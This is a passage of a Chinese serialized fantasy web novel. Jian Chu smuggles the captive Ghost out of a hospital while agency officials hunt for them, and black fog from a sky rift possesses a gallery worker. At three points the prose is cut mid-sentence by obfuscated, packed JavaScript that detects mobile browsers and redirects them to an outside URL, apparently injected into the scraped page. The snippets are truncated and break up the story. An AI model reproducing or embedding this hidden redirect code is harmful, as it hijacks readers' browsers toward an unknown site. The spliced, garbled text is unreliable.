他们的对话声很小，但还是清晰地被简初捕捉到，她抬头看了一眼有些不安的隋辩——比起马瑞安，他的心理素质没有那么强，尽管几人已经串过话，但显然心绪不宁。 “路玺还好吧？”简初突然开口。 一旁沉默的宋也闻言抬起头：“……多亏了幽灵帮忙，他已经出来了，再晚一会都难说。” “活着就好，其他都能解决。” “是这样。” 简单的对话之后，走廊再次陷入了安静。 异能署从白海调配了一批设备，像顾杰羽和路玺的异能过度消耗，都需要用特制的仪器帮助恢复，再者，蓝湾上空的裂缝到现在都没有消失的迹象，尽管官方已经限制了该问题的讨论，但它就在天上，所有人抬头便能看到，根本无从遮掩。 裂缝边缘的绿光倒是消失了，现在看上去更像一个黑色洞口，在夜里还看不清楚，等黎明到来，又是一场舆论风暴。 “署里打算用‘障眼法’，先把裂缝遮住再说，一直挂在那也不是个事。”一组组长梁成和应术低声说着，“我们组也都转移到蓝湾来，之后估计不会太平了。” “障眼法？那是个巨大的消耗。”应术眉头紧蹙，“飞艇的死亡名单出来了吗，我只知道玩具商死了，其他人是谁？” “根据马瑞安几个人的描述，确定了几个重要人物，其中级别最高的除了玩具商，还有砒霜。” “两个都死了……”应术无法控制地将目光投向抢救室门口的几人，“你觉得，他们能杀了两个天选会高层吗，那可是经历过两次‘浸染’的狠角色。” 梁成笑了笑：“如果让我回答，我会说不可能，但是现在结果就是他们死光了，而他们几个却没事。” 他没有错过应术的眼神：“你觉得问题出在这个简初身上？但是他们的描述可是出奇得一致。” “就是因为太一致了，而且我了解隋辩，他们肯定约好了，要把什么事情瞒下来。”应术神色淡淡，“而且还有幽灵的情况。” 梁成沉吟片刻，伸手拍了拍她的肩：“先不用想这么多，马组长他们也有数，如果真的有危险，他们肯定不会瞒着，有时候不必追根究底。而且……你以为努努力，就真的能追到问题的根源吗？” 这些事情一环套着一环，很难说查到什么地步才算是个头，不管怎么样，都有无法解决的问题。 “……你说得对。”应术低声，“但你们是前锋，我是军师，我得弄清一切，才能保证你们的安全。” 梁成失笑：“我还能不知道你，不过现在我们都来了，你也别那么绷着，马组长他们也不是什么坏人。” 话正说着，抢救室的门突然被打开，隋辩连忙站了起来，而简初只是坐在长椅上抬起头，眼底流露着淡淡的疲惫。 “手术完成了，病人腿伤比较严重，需要精心照料，否则腿骨可能会长歪。”医生的手术服上还沾着不少血，回头又叮嘱其他医护人员，“先送去特护病房，让护士站那边多关注一些。” “麻烦您了。”马瑞安连忙和医生道谢，转头朝简初使了个眼色。 简初微微颔首，终于从长椅上站起身，慢悠悠跟着病床离开了，经过应术几人的瞬间，眼神都没有分一点。 “这人怎么……”有人小声嘀咕。 应术双手插兜，注视着她的背影，直到拐弯后再也看不见。 …… 幽灵的特护病房紧挨着顾杰羽和路玺，主要是方便异能署进行管控，防止不明人员进出。 他此时还没有苏醒，脸色苍白到几乎和床融为一体，柔软的黑发微微卷曲，把整个人衬得乖巧无比。 简初注视着那张和傅燃一模一样的脸，下意识皱了皱眉。 她意识到自己现在已经开始把两人混淆，明明他们的性格差异如此巨大，甚至连异能都全然不同，但就是有一种微妙的统一感。 异能？她好像没见过傅燃使用异能？ 突如其来的疑问让简初的大脑更混乱了。 身后响起的推门声打断了她的思绪，应术和一个男人先后入内，身后还跟着两个生面孔。 “这是异能署行动一组的组长，梁成。”应术作为中间人互相介绍了一番，“这两位也是我的同事，我们需要给幽灵安装一个控制环。” 她紧盯着简初，很担心对方会拒绝。 作为天选会的成员，再加上幽灵的异能实在很难处理，趁他此时没有意识，做一些防御性手段是正常且必要的，但问题就在于，此刻的简初看上去真的很像是幽灵的监护人。 应术从对方身上感受到了危险，至于此前一直考虑的“F”的身份，此刻几乎没有再议论的必要。 “控制环？”简初微微皱眉。 “对，他的异能很危险，我们需要有所防范。” 简初垂眼看了那人手上的装置：“有什么副作用吗？” “没有，只是让他不能使用异能。”梁成开口接下了话，“我们知道他的情况，不会伤害他的。” 场面一时陷入寂静，简初眉头微蹙，不知道在想什么，但就在此时，身后的病床上突然传来动静。 “……可以。”幽灵半睁着眼看她，“不用为难，我不想给你添麻烦。” 梁成和应术互相看了一眼，尝试带着身后的人上前，发现简初只是紧紧盯着他们，并没有要出言阻止的意思，才稍稍松了口气。 异能署现在不想和任何人树敌，尤其是这种明显能提供帮助的角色。 “咔哒”一声，控制环紧紧扣在幽灵的脖子上，让他看上去又脆弱了几分。 简初：“影响你呼吸吗？” “没有，只是有些不习惯。”幽灵轻声回答，看向她的眼神写着明显的犹豫，“谢谢你愿意救我。” “你也救了我。”简初站在一旁垂眼看他，“手术很成功，最近安心休养，有事喊医生。” 见她转身要跟着那群人一起离开，幽灵连忙睁大眼，挣扎着伸出手： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964947|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你要去哪？” “有点事。”简初读懂了他脸上的表情，“我就在外头，你有事可以让护士喊我。” 幽灵终于收回手，喏喏点头：“哦……” 简初见他不再说话，才重新打开门走了出去，抬眼就看见隔壁病房门口站着好几个人，二组的人一个不落，还有刚刚出门的应术、梁成，看上去声势浩荡。 顺着他们的眼神，简初看到病房里有人在安装一台很奇特的仪器，想来是为了帮助顾杰羽和路玺尽早恢复。 “你感觉怎么样？”宋也朝她打了个招呼，“马上十二点了，你们要不要回去休息一下，至少把衣服换了。” 不仅是简初，马瑞安和隋辩也是一身脏污，不光是灰扑扑的尘土，还有已经干涸到发黑的血迹，她脸上甚至都还有用手擦拭的血痕。 “你确定不需要检查吗？有时候受了伤，你自己未必能第一时间感觉到。”宋也脸上是真挚的担忧。 简初微微摇头，她已经读过档，很确定自己此时毫发无损。 “没事，我自己有数。” 见她拒绝，宋也不再强求：“那你们正好一起回去吧，我已经和张警官说过，先去蓝湾总队洗个澡换身衣服，你这样也不方便回家，遇到人不好解释。” 她的提议考虑周全，简初没有再拒绝的理由，她此刻也不在意异能署究竟是不愿意让她离开视线，还是出于别的考虑，反正她现在也没有什么“畏罪潜逃”的想法。 三人简单套了件白大褂遮掩，就一起离开了蓝湾中心医院。 “他们好像信了我们的说辞。”四下无人，隋辩终于还是没忍住，开口说道，“我没想到顾姐竟然也那么配合，幸好她醒得早，不然还真不知道怎么办。” 尽管一开始觉得串话的行为有些可耻，但他此时竟然也习惯了。 “嗯，她的性格我了解，如果没跟我们商量她不会多说的。” 马瑞安的话惹得简初多看了他一眼，虽然顾杰羽曾就职于异能署，但要了解到这种程度，可不是简单的同事可以做到的。 “不过，这件事之后，恐怕很长一段时间都不会安宁了。”马瑞安叹气。 几人不约而同抬头，看向天空中的黑色裂缝。和他们不同，简初还能看到洞口缓缓逸散的黑雾，它们就像是一道道锁链，不知道在封锁裂缝，还是想将罪恶延伸到更远的地方。 “噔噔噔！” 系统的音乐声让简初有些恍惚，同时也让她万分警惕。 这种时候的任务，会是什么？ “祂扯开了此世的一角，从中窥探着一切，魔鬼的肢体已经伸出，试图搅动起腥风血雨，以化作祂的养料。已有人群举起鲜血的旗帜，愿用生命维护家园，可这还远远不够。” “任务目标：推迟祂的复苏。” “重要说明：祂是不可杀死的，不要试图对抗祂。” “怎么了？”见简初突然停下脚步，马瑞安和隋辩不约而同看向她，“发现什么了吗？” “……没什么，只是觉得你说得很对。” 马瑞安愣愣地看过来，好像从她的眼睛里读出了一点什么，却又心照不宣没有开口。 真的会很难很难，但总得试试，不是吗？ 170. 无人区（72） 接下来的几天异常平静，“神降”事件的调查推进地有条不紊，但显然成效并不明显。 不过有系统任务在前，这一切反倒像是暴风雨前的平静。 “砰。” 简初提着一个很大的黑色手提袋，反手关上了家门。 对于租住的这间公寓，她原本就没有什么很强的归属感，现在更是有一种恍如隔世的感觉。 口袋里只有手机和车钥匙，简初掂了掂手里的手提袋，抬脚就往电梯走去。 正在这时，身后传来大门打开的声音。 “姐？好几天没看见你回来了！”周霖的声音充满了年轻活力，他似乎对于再次见到简初感觉很开心，“姐你这是要去哪里，扔垃圾吗？” 他抻着脑袋，好奇地打量。 “嗯，最近医院有点忙。”简初随口应了，说起谎来也面不改色。 两人并不是什么关系密切的朋友，没必要过多解释。 周霖舒展眉眼，点点头：“这样啊，你辛苦了。” 双方的客套关系不足以支撑更久的谈话，短暂安静过后，简初朝对方点点头，刚准备开口告辞，兜里的手机就响了起来。 “先走了。” 她看了眼屏幕，只是摁掉了声音，直到电梯门缓缓合上，楼层数字开始不断跳动，才将手机放到了耳边。 “喂，是我，有什么事吗？” 电梯里的信号不太好，手机里的声音有些断断续续，但不妨碍她听清隋辩的声音。对方几乎用气音在说话，声音小得可怜，好像是躲在什么地方偷偷打电话。 但他的语气相当急切。 “你现在在哪，最好赶紧来医院一趟。”隋辩紧盯着楼梯间的门，生怕有人会突然出现，“总部要来人把幽灵带走，你们有什么话赶紧先说了。” 简初立刻蹙起眉头，抬脚迈出了电梯：“你现在在哪，他们什么时候到？” “他们还没来，但是估计快了，我偷偷联系你的……你快点来，我先挂、” 电话那头传来一阵急匆匆的脚步声，隋辩话都没说完就迅速掐断了通话。简初低头看了眼熄灭的屏幕，又看看手里的黑包，有些烦躁地“啧”了一声。 不远处，医院大楼顶部熟悉的蛇形标在阳光下闪闪发亮，简初微微敛眉，把包扔到副驾驶，启动了车辆。 …… 蓝湾中心医院。 隋辩匆匆把手机塞回口袋，若无其事地走出了楼梯间，他抬眼看见匆匆走来的人影，不是别人，正是马瑞安。 他松了口气，小声抱怨：“吓死我了，还以为是谁来了。” 说来也奇怪，经过飞艇上这一遭，他倒是和马瑞安等人关系密切起来。也许是因为共同守护着秘密，他们拥有了比战友更亲密的关系。不过话虽如此，他猜其他人应该也看出来他们有所隐瞒。 尤其是应术，【逻辑推演】可不是开玩笑的，但不知道是出于什么原因，她一直没有来找他们说些什么。 “她应该很快会来，现在是什么情况？” 希望简初能抢在前头，否则两边要是正面遇上，肯定会有不少废话，说不定还会起冲突。 马瑞安眉头紧皱：“总部的人还没到，不过我总感觉哪里怪怪的，梁成刚刚接了个电话就走了，可能快来了。” “那应该是去接人了。”隋辩抿抿唇，“简初能来得及吗？” “她有没有说打算怎么办？”两人并肩走着，面上相当平静，丝毫看不出他们究竟在讨论什么。 “没有。” 幽灵的病房前一共有四个人把守，他们两两相对，连一只蚊子都别想飞进来。不知不觉间，一组已经全盘接手了蓝湾的事务，他们只能听从调度。 马瑞安扫视了一眼，只看到了宋也和温南，她们正站在顾杰羽的病房前说些什么，至于易骄和易阳，此刻应该在新的指挥部协助梳理事件档案。 他们二组已经开始被边缘化，而隋辩作为一组的年轻血液，却也被不着痕迹排除在外了。 很明显，不管是总部还是一组，都没有完全相信他们的供词，这也在马瑞安的预期之中。别看他答应简初的时候好像很干脆利落，但其实心里早就不知道盘算过多少次了。 尽管站在异能署的角度，他应该把一切如实汇报，但问题也在于这里——简初的能力太不祥了，如果不知道前因后果，一眼看过去她才像被天选会召唤出的邪神。 在不明真相的人眼中，这就是一个定时炸弹，总部绝对会想办法把她抓起来，可一旦双方爆发矛盾，他们真的能胜吗？也许那时候，这个定时炸弹会被人为引爆，惹出更大的麻烦。 异能署这两年的膨胀速度快得很，领导人员数量饱和，能影响决策的人太多，谁知道行动方案会变成什么样，要是再把简初逼到敌对阵营，那是真完蛋了。 与此同时，梁成的大脑也正在疯狂转动。 他正和应术一起站在中心医院大楼的门口，仰头就是湛蓝无云的天空，已经看不见那道慑人的裂缝。但他心里知道，这一切不过是粉饰后的假象。 “总部的目标……可能不只有幽灵。”应术犹豫了老半天，终于轻声开口。 这话的指向性也太明显了，这里总共就这些人，那个目标还能是谁。 梁成有些烦躁地揉了揉脑袋。 “这两天根据现有的资料，还有当时记录的异能读数，我尝试了好几次去模拟当时的大致情景，但飞艇进入裂缝之后，异能读数就没有参考价值了。” 甚至还不如飞艇的损坏痕迹有用。 这些事梁成都是知道的，但结果…… “不管怎么调整，哪怕我最后直接把幽灵划到了己方，几乎算是把他当成了我们派去的卧底，结果都不是很好。” “成功概率是多少？”梁成搓了搓手指。 应术深吸了一口气：“零，全都失败了，十死无生。” “他们真是……瞒了个大的。” 梁成心里“咚咚咚”打着鼓，向来敏锐的第六感告诉他，这件事不可以继续追究下去，否则会发生很不好的事情，可真就不追究，他们永远不知道事件背后的真相。 “其实我觉得没必要把幽灵带走羁押。”应术侧头看他，“你觉得呢，他的异能很有用，现在是特殊时期，如果能配合我们行动……” 梁成打断了她：“你怎么确定他会一直配合？” 两人对视一眼，意识到对方和自己想到了同样的答案。 幽灵对简初几乎是言听计从，只要他们维护好和简初的关系，幽灵几乎就能为异能署所用。 以前也不是没有过类似的情况，相当于戴罪立功，特殊情况特殊处理，等一切尘埃落定后再清算。可这一次，总部却格外坚持，或许是幽灵的异能太有威胁，又或许是想从他嘴里挖出什么，总之现在已经没有回旋的余地了。 “说起来，简初今天是不是还没来？” 往常，她每天都要来看看路玺和顾杰羽，至于幽灵……现在谁都不能见。 一辆小轿车从两人面前开过去，梁成下意识摸了摸后脖子，这才发现身上已经出了一层薄汗。 天气开始更热了。 …… 医院大厅。 人群排起长队，熙熙攘攘说是菜市场也不为过。 简初伸手压了压自己的帽檐，又调整了口罩的位置。外头烈日正盛，所以这副装扮也不扎眼，人群中不少年轻人都是这样。 手机页面上，发给隋辩的消息还是未读，但她不能一直等下去。刚刚经过时，她在门口看见了应术和梁成，这个时间点在那东张西望，想必就是在等异能署总部的人。现在最坏的情况是幽灵已经被控制，更严重点说不定隋辩给她通风报信的事都败露了。 简初关上手机，并不打算直接露面。她没那么多闲工夫和异能署折腾，而是下定决心直接把人带走。 尽量避免正面冲突，毕竟大家都是为了同样的目标，不过是方法不同，也没必要内讧。 十七楼的特护病房，幽灵正安静靠在病床上。 门外人影绰绰，让他嗅到一丝不寻常的气息。简初从那天离开过后，就再也没有来看过他，尽管他大概猜到其实是自己被限制探视，但还是不免有些失落。 自从玩具商死后，他的灵魂终于感受遇到了久违的轻灵与自由，说话思考不再受到限制，脑子里不会突然有人说话，也不会有人一个不开心就来惩罚他。 这样就足够了，他很感谢她…… “咚咚咚！” 幽灵猛地一抖，坐直身子左看右看。 他好像又听到声音了，难道玩具商又复活了…… 一条黑色小触手正悄咪咪顺着空调管道伸进来，沿着墙角、床脚迅速爬到他手边，抬起尖端戳了戳他的手指。 “唔！这是……” 幽灵福至心灵，抿抿唇，看向触手扬起的方向。他赤着脚下床，小心走到了窗户边——另一条触手正在“敲门”，“咚咚咚”的声音就是从这传来的。 他微微松了口气，确认不会有人突然进来，才缓慢、无声地拉开窗户，探出头顺着触手往下看，就瞧见一个黑黢黢的脑袋，正从斜下方的窗户口努力仰头往上看。 她要做什么？ 下方的人看见他，又突然缩了回去，好一会才探出脑袋。幽灵看着对方先是往楼下看，又扭过来看他。 然后伸出了一只手：“跳下来，我……” 简初想说你跳下来，不要怕，我能安全接住你，尽管楼层很高，但是我不会让你摔下去的。 她觉得幽灵会犹豫，因为他现在没法使用异能，一旦摔下去就是尸骨无存，她尽力空出足够的时间，就是想着要在这里费一番口舌，劝说这个人从窗户跳下来。 可她话还没有说完，就看见幽灵抬腿跨上了床沿，义无反顾一跃而下，紧紧握住了她的手。 大脑皮层过电一样颤栗，下一秒两人同时消失，相当狼狈地摔落在后方的地面上。 “不是……你也说一声啊！”简初揉着屁股抱怨道。 尽管使用了闪现，但幽灵下落的速度和轨迹却无法改变，再加上太过突然，她一下子反应不及，只能被对方带倒。 “你的腿没事吧？”简初赶紧把人扶起来。 幽灵的脸白了又红，赶紧摇摇头，小声辩解：“对不起……你说让我跳下来，我就跳了……” 说完，还小心翼翼抬眼打量简初，好像生怕她生气一样。 简初无奈，就算心里有气，看到他这样子也没了。她把一旁的塑料袋递给他：“先换个衣服，你这个病号服太显眼了。” 但更显眼的是别的东西。 她伸手摸到幽灵的后颈，在卡死的颈环表面找到了一条窄窄的缝隙。 啧，早知道当时就不该让他带上这玩意。 …… 隋辩靠在墙边注视着尽头的电梯，眉眼泄露出一丝焦躁。 “怎么还不来……” 看着满走廊的人，他忍不住开始天马行空，如果他们打起来，自己到底该帮谁，要不还是怂一点，谁都不帮好了。 “叮咚！” 正当他胡思乱想时，尽头的电梯终于来到了这层，隋辩屏住呼吸，目不转睛地盯着，期待着从中走出的是简初。但很可惜，电梯门后露出了梁成的脸。 以及一群浩浩荡荡、全副武装的人。 所有人都下意识站直了，看向梁成身边那个好像没睡醒的男人，他个子很高，皮肤看上去有一种常年不见天日的苍白感。 “他怎么来了？”隋辩心下一沉。 “沈副长！”众人纷纷挺直腰杆，那男人却只是微微抬眼点头，表情没有一点波澜。 “他在哪个房间？” 看到梁成指向的方向，沈郁扬扬下巴，身后的武装人员立刻上前，换下了原本的守卫，站在门前等待新的指令。 宋也微微皱起眉头，眼神在那几人身上转了一圈，感觉身侧的温南好像有些紧张，便安抚地拍了拍她的肩。 带了控制颈环的幽灵，竟然是这位亲自带队来，而且……来的还都是羁押部队的精英。 “嗯，那个简初呢？” 懒洋洋的声调，却让好几人惊起了鸡皮疙瘩。 应术和梁成对视一眼，硬着头皮回答：“她不在，沈副长找她有事吗，我可以联系。” “竟然不在啊，她和幽灵的关系不是挺好的吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这句话几乎就是给予了肯定的回答。 “没有，只是她情况比较特殊，有很多事情还需要……” “长官！”武装人员从特护病房跑了出来，焦急的声音打断了应术的话，“长官，里头没有人！” 沈郁眯了眯眼，大跨步踏进了病房，一眼就看到了打开的窗户。病床的被子不算凌乱，明显能看出上面的人掀开被子，走下床的动作。 “呵呵。”他冷冷笑了声，“你们就是这么看守的？她把人带走了，你们没有一个人有感觉吗？” 应术扶着门框的手开始不受控制地颤抖，身后的人群中爆发出小小的惊呼，隋辩急促地呼吸了两口，又迅速掐着指尖，把满腹的情绪压了下去。 简初把人带走了？什么时候？ “还愣着干什么，定位颈环，给我把人找出来，活要见人死要见尸！”沈郁脸色阴沉沉，看过来的眼神锐利如刀，“一群废物！” 应术张了张嘴，却什么都没能说出来。 这几天幽灵一直很安分。他膝盖受伤，又无法使用异能，根本不可能从十几层的高楼离开，更重要的是他每天都安安静静的，该吃药吃药，该吃饭吃饭，问得最多的话就是“今天简初来了吗？” 哪怕一直得到否定的回答，他也不生气，只是点点头，又躺回病床上发呆。 所以，真的是简初把他带走了吗？ 她脑中飞快掠过这几天发生的事。 简初确实来过几次，但她并没有进入幽灵的病房，两个人根本没有碰面的机会，偶尔回家取一下必需品，也很快就回来了，和易骄易阳一起去了新的指挥部，协助重现飞艇的场景。 更何况，她又不知道总部要把幽灵带走。 应术的视线撇过角落的隋辩，眼神对上的一刻脑海里有什么轰然炸响。 他……他们怎么敢的！ …… 蓝湾总队。 此时办公室里几乎所有人都在。 卡维纳宫殿遭受恐怖袭击，这本来是一个很棘手的事，但上级单位派了专人来处理，完全将蓝湾的警务部门隔绝在外，搞得他们一反常态的无事可做。 “你也要注意安全啊，出差也好，最近蓝湾很不太平。” 张国栋瞥了一眼正在打电话的颜和，又将视线投在面前的电脑屏幕上。虽然对那些玄之又玄的事情很好奇，但他现在回到自己岗位上，就不该再想了。 昨天好些人把楼上会议室一扫而空，看样子他们应该会搬去新的办公场所，不会再回来了。 哎，这段时间也算是见识了，不过自己的日子还是得过啊。 “我们领导，就是顾姐她生病了，请假好几天了，可能最近有什么病毒，你出差也要注意啊。”颜和扁扁嘴，有些腻歪地继续打电话，“我本来还想去看看她呢，结果被拒绝了。” “说起来我也好几天没见到你了，可惜你要出差了，等回来请你吃饭啊，不要太辛苦了。” 整个办公室的人都听着颜和嘟嘟囔囔，印象中很少见到她用这么腻歪的语气和人煲电话粥。 等她终于挂断电话，小王才好奇地抬起头：“颜和，你是谈对象了吗？” 颜和一个白眼：“就知道谈对象谈对象，我跟简初打电话呢！” 听到这个名字，张国栋好像触发了什么机关，下意识抬头看了过去：“怎么，她要出差啊？” 奇怪呢，简初出什么差，不是已经不去医院上班了吗？ “张队？”颜和对他的关心感到奇怪，但也没多想，“是啊，她说要出长差呢，说是封闭学习，可能没办法互相联系，走之前就给我打电话说一声啦。” 颜和笑着眯起眼睛，似乎对于朋友临行前的关照很是受用。 “这样啊。”张国栋随口应道，心想或许是异能署有什么安排，要让简初离开蓝湾，又或许是有什么危险的工作，得提前和家人朋友们通个气，防止他们担心。 这人倒还挺贴心的。 颜和已经开心地哼起曲子，微微摆着头，投入到工作中去了。 171. 无人区（73） 蓝湾郊外。 异能署的新指挥部坐落在此处，完全避人耳目，来来往往的人员比之前多了不少，但看上去反倒比之前肃穆很多。 沈郁原本的计划是把幽灵和简初一同带走，但现在的情况却和预想的差距过大，不光是没有抓到简初，甚至连幽灵的面都没见到。 太糟糕了。 会议室里，沈郁满脸寒霜地揉着额角，也不管周围忙碌的人们，只是微微仰着头，看着屏幕上不断重播的监控咬咬牙。 “这是协调蓝湾总队调取的监控，公寓电梯的摄像头之前损坏了，一直没有维修，所以只能看到简初在早上9：37离开公寓楼，开车离开了。” 应术见他没有反应，便切换了画面。 医院大厅里人头攒动，画面连续放大了三次，才定格在一个戴着白色鸭舌帽的人身上。她穿着和刚刚的简初一样的衣服，身形也很相似，走动时并没有特意掩饰，从走姿几乎可以确定，这就是简初。 画面跟随她的身影不断切换，最终消失在十五层的楼梯间。 监控失效之前，简初甚至抬起头朝摄像头看了一眼。 太嚣张了。沈郁抿紧嘴唇。 “之后监控就失效了，应该是异能干扰。” 她的行动目的很明确，为此避开了异能署的耳目，选择从十六层的楼梯间把楼上的幽灵带走。 会议桌中央堆放着散乱的零件，主体碎成三段，还有数不清的细碎金属片，正是一条被彻底损毁的控制颈环，旁边还放着一件病号服。 这都是在十六层的楼梯间发现的。 张国栋忍不住抖腿，他做梦都没想到，自己还会被“召唤”过来，再次担任异能署和蓝湾总队的“传话筒”。 说真的，这一次干完能升职吗，这是真折寿啊。 “张警官，麻烦你复述一下当时在办公室听到的，简初与颜和通话的情况。”应术的声音吓得他一激灵，立刻坐直了身体。 “诶，好的。”张国栋凭着大概的记忆，描述了当时颜和说的话以及之后的聊天，从中大概能推断出简初在电话那头说了什么。 通话时间在9：40，也就是说简初启动车辆没多久，就拨通了颜和的电话，看来她那会就决定要带幽灵离开了。 完全是有预谋的。 可现在棘手的是，他们手中并没有实质的证据，异能署并没有对公众发布通缉令的权限，而蓝湾总队也不能随意通缉一个“普通民众”。一来，如果人们关注到通缉信息，肯定会有人追究她做了什么，认识简初的人并不算少，也许会惹来不必要的麻烦，二来…… 这样做会不会惹恼她？ 这是个很现实的问题，他们不能冒险。 应术看着主位的沈郁，他从刚开始就默不作声，手指有规律地敲着桌面，不知道在思考什么。 也许他在想，简初是从哪里知道他们要把幽灵带到总部的。 “你们说，她是怎么知道这个消息的？” 沈郁的声音响起，几乎与她脑中的猜想不谋而合，让人惊起一身鸡皮疙瘩。 会议室一片安静，隋辩放在桌下的手指动了动，但脸上却是超乎寻常的淡定，没人知道他的心脏快跳出嗓子眼了。马瑞安不着痕迹瞥了他一眼，暗示他不要说话。 说真的，他也没想到简初竟然胆子大到这种地步。 “没人说话？”沈郁甚至带着点笑意。 梁成深吸了一口气：“也许……只是凑巧，她说不定本来就打算在今天把幽灵带走。” “呵，这想法有意思。”沈郁意味不明地笑了笑，“你真觉得是这样吗？” 当然不是！梁成在心底绝望地吐槽。 但他能说什么呢，难道要亲口说出“我们中出了一个叛徒”这样令人遍体生寒的文字吗？ 最后的遮羞布摇摇欲坠，但此时所有人心照不宣，没有人试图伸手扯下它。 “咚咚咚！” 场面再次陷入寂静之际，会议室的门被急促敲响，某种程度上算是救梁成于水火之中。 “组长！泛洞出现异常！”来人语气惊慌，甚至牙齿都有点打颤。 泛洞是异能署对空中裂缝的正式命名，尽管已经被“障眼法”遮住，但实际上它一直待在那里，安静地注视着整个蓝湾。 “说清楚，什么情况？”梁成眉头紧皱。 那人喘匀了气，努力组织语言：“监测的能量读数在不断攀升，通过观察镜能看见有黑雾正在下沉，目前测算的落地点在中心美术馆。” 梁成的表情立刻严肃起来，他们当然知道那黑雾多可怕，如果在民众聚集的地方出现异变，那绝对会是一场惨剧。 “立刻出发，张警官，麻烦你们总队联系中心美术馆疏散人群，沈副长……” 沈郁撑着桌子站起身：“一起去吧，我暂时不回总部。” 众人没想到这尊大佛会决定留下来。 官大一级压死人，以他的职位，整个指挥部的话语权将会彻底转移到他的手中。 应术甚至怀疑，率领羁押部队不过只是个幌子，他实际上是总部的“眼睛”。孔越的能力和职位让他只能做一个“半瞎的眼睛”，而沈郁不止是“眼睛”，还会是一只操控大局的手。 “怎么，不欢迎？”沈郁大步走向门口，经过应术的时候淡淡瞥了她一眼，就如同一阵风消失在了会议室。 梁成拍了拍她的肩膀：“船到桥头自然直，别有压力，这里先交给你了。” …… “啪！” 一串钥匙被猛地拍到桌子上，挎在肩上的黑色背包掉在地上，崩开的拉链里跳出两张鲜红的票子。幽灵赶紧松开搭在简初肩上的手，扶着一旁的柜子安静地看着她。 “怎么了？腿疼就去沙发上坐着。”简初摘下帽子，随手扔在一边。 幽灵欲言又止：“我……住这吗？” “要不然呢，你喜欢住大街上？”简初从包里掏出水喝了两口，她微微侧头，还能从窗户看到不远处，自己原来住的那间屋子。 他们大概想不到，自己会回到这么近的地方。 幽灵有些拘谨地抓着手，眼神一错不错地落在简初身上：“需要我为你做什么吗？” 这个问题让简初顿了顿，她停下收拾背包的手，撑着膝盖直起身看向他。 她发现自己的视线似乎让幽灵感觉到紧张，他的脸庞明显比前几天瘦削很多，也更容易看出腮帮子微微鼓动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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便携式监测仪的读数仍然在不断攀升，沈郁微微眯起眼，注视着那一条小拇指粗细的寥落黑雾，它顺着美术馆顶部的天窗钻了进去，不知道要去往何处。 “里面还有人吗？” “呃，参观的人都已经被工作人员带出来了。”今天值班的负责人喏喏回应，“各位领导，不知道是有什么事情？” 沈郁：“那工作人员呢？” 负责人愣了愣：“工作人员还在里面。” “梁成，马瑞安，你们带人跟我进去，其他人在外头等着。”沈郁微微皱起眉头，大步走进了美术馆的大门。一进门，扑面就是刺骨的寒意，这不是美术馆空调应有的温度，能让他们感受到不适，普通人根本没法久待。 温度应该是刚降下来的。 “先找……” “砰！” 头顶的巨响完全遮住了沈郁的声音，脚下的地板剧烈晃动，吊灯“吱吱呀呀”摇摆着，几乎要不堪重负。 “副长！” 监测仪器的读数猛然飙升，屏幕闪着红光，发出尖锐的报警音。 糟了！ 172. 无人区（74） 简初从美术馆的天窗一跃而下，谨慎地和黑雾保持着安全距离。 阳光框出一块方正的亮斑，游走的黑雾在光与暗的交界有点显眼，但它并没有停留，而是往某个方向坚定前行。 这是……有目标？ 简初眉头微蹙，轻手轻脚跟了上去，很快就在拐角的楼梯见到一个年轻的工作人员。 对方没有意识到有人来到他背后，正一边举着手机打电话，一边抬脚往楼下走，可就在此时，那道黑雾突然“哧溜”一下，猝不及防钻进了他的身体。 “等等！”简初下意识伸手，发出的声音吸引了对方的注意力。 年轻的工作人员还保持着举手机的姿势，愣愣转过头：“你怎么还在这里，我们已经闭馆了，奇怪，刚刚没看见你啊？” 他小声嘟囔着，没有意识到自己的身体正在发生变化。胳膊上的肌肉开始鼓胀，将原本还有些空荡的袖管撑起，现在看起来至少是五年的撸铁达人。 简初眉头皱得更紧了。 “喂，怎么不说话，你在这干什么？”他的语气也变了，和刚刚的温和截然不同，这次的质问明显尖利起来，见简初仍没有回答，他焦躁地原地踱了两步，粗喘了两口气。 “喂喂，你那边怎么了，喂、” 未挂断的通话戛然而止，屏幕上出现蛛网般的裂缝，碎屑从指缝间簌簌落下，他随手一扬，手机就顺着楼梯扶手“叮铃哐啷”地掉了下去。 “我的手机！” 明明是自己扔出去的，他却看上去更生气了。显然这人开始无法约束自己的行为，如果是陌生人，或许会认为不过是他脾气太臭罢了。 “都怪你！这个死女人！！！” 原本那张还算温文尔雅的脸变得狰狞，他从牙齿缝里挤出这几个字，猛地转身，捏着拳头朝简初冲来。这样的距离之下，简初可以清晰看到对方胳膊上爆出的青筋，这一拳显然是竭尽全力，没有任何虚张声势的意思。 不过因为没有接受过专业训练，他的拳头看起来有力，却没有章法。简初轻轻后撤半步，拳头带着破空声擦过耳畔，她单手作刀，劈在对方的小臂上，左手一扬抵上他的下巴，那人瞬间就倒飞而出，将身后米白色的墙壁砸出一个浅坑。 空气震荡开来，把旁边五彩玻璃制作的巨大风铃吹得泠泠作响。 对方顺着墙壁倒下，但很快又站了起来，这让简初微微眯起双眼。 这种身体强度，已经是异能者了。 